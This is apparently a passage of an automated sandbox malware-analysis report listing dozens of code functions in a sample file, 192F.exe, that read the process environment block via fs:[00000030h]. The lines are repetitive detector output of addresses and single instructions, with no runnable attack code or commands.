Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92AAB0 mov eax, dword ptr fs:[00000030h]	29_2_6A92AAB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92AAB0 mov eax, dword ptr fs:[00000030h]	29_2_6A92AAB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9412BD mov esi, dword ptr fs:[00000030h]	29_2_6A9412BD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9412BD mov eax, dword ptr fs:[00000030h]	29_2_6A9412BD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9412BD mov eax, dword ptr fs:[00000030h]	29_2_6A9412BD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A911AA0 mov eax, dword ptr fs:[00000030h]	29_2_6A911AA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A945AA0 mov eax, dword ptr fs:[00000030h]	29_2_6A945AA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A945AA0 mov eax, dword ptr fs:[00000030h]	29_2_6A945AA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	29_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	29_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	29_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	29_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	29_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8ADD mov eax, dword ptr fs:[00000030h]	29_2_6A9E8ADD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915AC0 mov eax, dword ptr fs:[00000030h]	29_2_6A915AC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915AC0 mov eax, dword ptr fs:[00000030h]	29_2_6A915AC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915AC0 mov eax, dword ptr fs:[00000030h]	29_2_6A915AC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913ACA mov eax, dword ptr fs:[00000030h]	29_2_6A913ACA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942ACB mov eax, dword ptr fs:[00000030h]	29_2_6A942ACB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942AE4 mov eax, dword ptr fs:[00000030h]	29_2_6A942AE4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 mov eax, dword ptr fs:[00000030h]	29_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 mov ecx, dword ptr fs:[00000030h]	29_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 mov eax, dword ptr fs:[00000030h]	29_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 mov eax, dword ptr fs:[00000030h]	29_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A933A1C mov eax, dword ptr fs:[00000030h]	29_2_6A933A1C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CD208 mov eax, dword ptr fs:[00000030h]	29_2_6A9CD208
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CD208 mov eax, dword ptr fs:[00000030h]	29_2_6A9CD208
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A928A0A mov eax, dword ptr fs:[00000030h]	29_2_6A928A0A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A918239 mov eax, dword ptr fs:[00000030h]	29_2_6A918239
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A918239 mov eax, dword ptr fs:[00000030h]	29_2_6A918239
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A918239 mov eax, dword ptr fs:[00000030h]	29_2_6A918239
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914A20 mov eax, dword ptr fs:[00000030h]	29_2_6A914A20
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914A20 mov eax, dword ptr fs:[00000030h]	29_2_6A914A20
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99EA20 mov eax, dword ptr fs:[00000030h]	29_2_6A99EA20
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A4257 mov eax, dword ptr fs:[00000030h]	29_2_6A9A4257
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912240 mov ecx, dword ptr fs:[00000030h]	29_2_6A912240
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912240 mov eax, dword ptr fs:[00000030h]	29_2_6A912240
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 mov eax, dword ptr fs:[00000030h]	29_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 mov eax, dword ptr fs:[00000030h]	29_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 mov eax, dword ptr fs:[00000030h]	29_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 mov eax, dword ptr fs:[00000030h]	29_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A4248 mov eax, dword ptr fs:[00000030h]	29_2_6A9A4248
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95927A mov eax, dword ptr fs:[00000030h]	29_2_6A95927A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CB260 mov eax, dword ptr fs:[00000030h]	29_2_6A9CB260
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CB260 mov eax, dword ptr fs:[00000030h]	29_2_6A9CB260
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8A62 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8A62
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F395 mov eax, dword ptr fs:[00000030h]	29_2_6A91F395
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914B94 mov edi, dword ptr fs:[00000030h]	29_2_6A914B94
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A mov ecx, dword ptr fs:[00000030h]	29_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]	29_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]	29_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]	29_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D138A mov eax, dword ptr fs:[00000030h]	29_2_6A9D138A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CD380 mov ecx, dword ptr fs:[00000030h]	29_2_6A9CD380
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E9BBE mov eax, dword ptr fs:[00000030h]	29_2_6A9E9BBE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8BB6 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8BB6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1BA8 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1BA8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944BAD mov eax, dword ptr fs:[00000030h]	29_2_6A944BAD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944BAD mov eax, dword ptr fs:[00000030h]	29_2_6A944BAD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944BAD mov eax, dword ptr fs:[00000030h]	29_2_6A944BAD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9953CA mov eax, dword ptr fs:[00000030h]	29_2_6A9953CA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9953CA mov eax, dword ptr fs:[00000030h]	29_2_6A9953CA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A923BF4 mov eax, dword ptr fs:[00000030h]	29_2_6A923BF4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A923BF4 mov ecx, dword ptr fs:[00000030h]	29_2_6A923BF4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9123F6 mov eax, dword ptr fs:[00000030h]	29_2_6A9123F6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A911BE9 mov eax, dword ptr fs:[00000030h]	29_2_6A911BE9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93DBE9 mov eax, dword ptr fs:[00000030h]	29_2_6A93DBE9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C23E3 mov ecx, dword ptr fs:[00000030h]	29_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C23E3 mov ecx, dword ptr fs:[00000030h]	29_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C23E3 mov eax, dword ptr fs:[00000030h]	29_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D131B mov eax, dword ptr fs:[00000030h]	29_2_6A9D131B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CE33D mov eax, dword ptr fs:[00000030h]	29_2_6A9CE33D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A4320 mov eax, dword ptr fs:[00000030h]	29_2_6A9A4320
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8B58 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8B58
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F358 mov eax, dword ptr fs:[00000030h]	29_2_6A91F358
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B5A mov eax, dword ptr fs:[00000030h]	29_2_6A943B5A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B5A mov eax, dword ptr fs:[00000030h]	29_2_6A943B5A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B5A mov eax, dword ptr fs:[00000030h]	29_2_6A943B5A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B5A mov eax, dword ptr fs:[00000030h]	29_2_6A943B5A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F340 mov eax, dword ptr fs:[00000030h]	29_2_6A91F340
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91DB40 mov eax, dword ptr fs:[00000030h]	29_2_6A91DB40
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B7A mov eax, dword ptr fs:[00000030h]	29_2_6A943B7A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B7A mov eax, dword ptr fs:[00000030h]	29_2_6A943B7A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6365 mov eax, dword ptr fs:[00000030h]	29_2_6A9A6365
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6365 mov eax, dword ptr fs:[00000030h]	29_2_6A9A6365
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6365 mov eax, dword ptr fs:[00000030h]	29_2_6A9A6365
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913880 mov eax, dword ptr fs:[00000030h]	29_2_6A913880
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913880 mov eax, dword ptr fs:[00000030h]	29_2_6A913880
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6A91E8B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6A91E8B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6A91E8B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6A91E8B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6A91E8B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]	29_2_6A91E8B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94F0BF mov ecx, dword ptr fs:[00000030h]	29_2_6A94F0BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94F0BF mov eax, dword ptr fs:[00000030h]	29_2_6A94F0BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94F0BF mov eax, dword ptr fs:[00000030h]	29_2_6A94F0BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9238A4 mov eax, dword ptr fs:[00000030h]	29_2_6A9238A4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9238A4 mov ecx, dword ptr fs:[00000030h]	29_2_6A9238A4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9590AF mov eax, dword ptr fs:[00000030h]	29_2_6A9590AF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]	29_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]	29_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]	29_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov ecx, dword ptr fs:[00000030h]	29_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]	29_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]	29_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9170C0 mov eax, dword ptr fs:[00000030h]	29_2_6A9170C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9170C0 mov eax, dword ptr fs:[00000030h]	29_2_6A9170C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228FD mov eax, dword ptr fs:[00000030h]	29_2_6A9228FD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228FD mov eax, dword ptr fs:[00000030h]	29_2_6A9228FD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228FD mov eax, dword ptr fs:[00000030h]	29_2_6A9228FD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9140E1 mov eax, dword ptr fs:[00000030h]	29_2_6A9140E1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9140E1 mov eax, dword ptr fs:[00000030h]	29_2_6A9140E1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9140E1 mov eax, dword ptr fs:[00000030h]	29_2_6A9140E1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CE0E9 mov eax, dword ptr fs:[00000030h]	29_2_6A9CE0E9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CE0E9 mov eax, dword ptr fs:[00000030h]	29_2_6A9CE0E9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B8E4 mov eax, dword ptr fs:[00000030h]	29_2_6A93B8E4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B8E4 mov eax, dword ptr fs:[00000030h]	29_2_6A93B8E4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9158EC mov eax, dword ptr fs:[00000030h]	29_2_6A9158EC
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF019 mov eax, dword ptr fs:[00000030h]	29_2_6A9EF019
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF019 mov eax, dword ptr fs:[00000030h]	29_2_6A9EF019
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F018 mov eax, dword ptr fs:[00000030h]	29_2_6A91F018
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F018 mov eax, dword ptr fs:[00000030h]	29_2_6A91F018
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E4015 mov eax, dword ptr fs:[00000030h]	29_2_6A9E4015
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E4015 mov eax, dword ptr fs:[00000030h]	29_2_6A9E4015
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916800 mov eax, dword ptr fs:[00000030h]	29_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916800 mov eax, dword ptr fs:[00000030h]	29_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916800 mov eax, dword ptr fs:[00000030h]	29_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A928800 mov eax, dword ptr fs:[00000030h]	29_2_6A928800
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830 mov eax, dword ptr fs:[00000030h]	29_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830 mov eax, dword ptr fs:[00000030h]	29_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830 mov eax, dword ptr fs:[00000030h]	29_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830 mov eax, dword ptr fs:[00000030h]	29_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944020 mov edi, dword ptr fs:[00000030h]	29_2_6A944020
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B02A mov eax, dword ptr fs:[00000030h]	29_2_6A92B02A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B02A mov eax, dword ptr fs:[00000030h]	29_2_6A92B02A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B02A mov eax, dword ptr fs:[00000030h]	29_2_6A92B02A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B02A mov eax, dword ptr fs:[00000030h]	29_2_6A92B02A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915050 mov eax, dword ptr fs:[00000030h]	29_2_6A915050
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915050 mov eax, dword ptr fs:[00000030h]	29_2_6A915050
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915050 mov eax, dword ptr fs:[00000030h]	29_2_6A915050
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A917055 mov eax, dword ptr fs:[00000030h]	29_2_6A917055
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E1074 mov eax, dword ptr fs:[00000030h]	29_2_6A9E1074
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D2073 mov eax, dword ptr fs:[00000030h]	29_2_6A9D2073
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93F86D mov eax, dword ptr fs:[00000030h]	29_2_6A93F86D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944190 mov eax, dword ptr fs:[00000030h]	29_2_6A944190
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942990 mov eax, dword ptr fs:[00000030h]	29_2_6A942990
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91519E mov eax, dword ptr fs:[00000030h]	29_2_6A91519E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91519E mov ecx, dword ptr fs:[00000030h]	29_2_6A91519E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93C182 mov eax, dword ptr fs:[00000030h]	29_2_6A93C182
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94A185 mov eax, dword ptr fs:[00000030h]	29_2_6A94A185
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DA189 mov eax, dword ptr fs:[00000030h]	29_2_6A9DA189
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DA189 mov ecx, dword ptr fs:[00000030h]	29_2_6A9DA189
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE mov eax, dword ptr fs:[00000030h]	29_2_6A9951BE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE mov eax, dword ptr fs:[00000030h]	29_2_6A9951BE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE mov eax, dword ptr fs:[00000030h]	29_2_6A9951BE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE mov eax, dword ptr fs:[00000030h]	29_2_6A9951BE
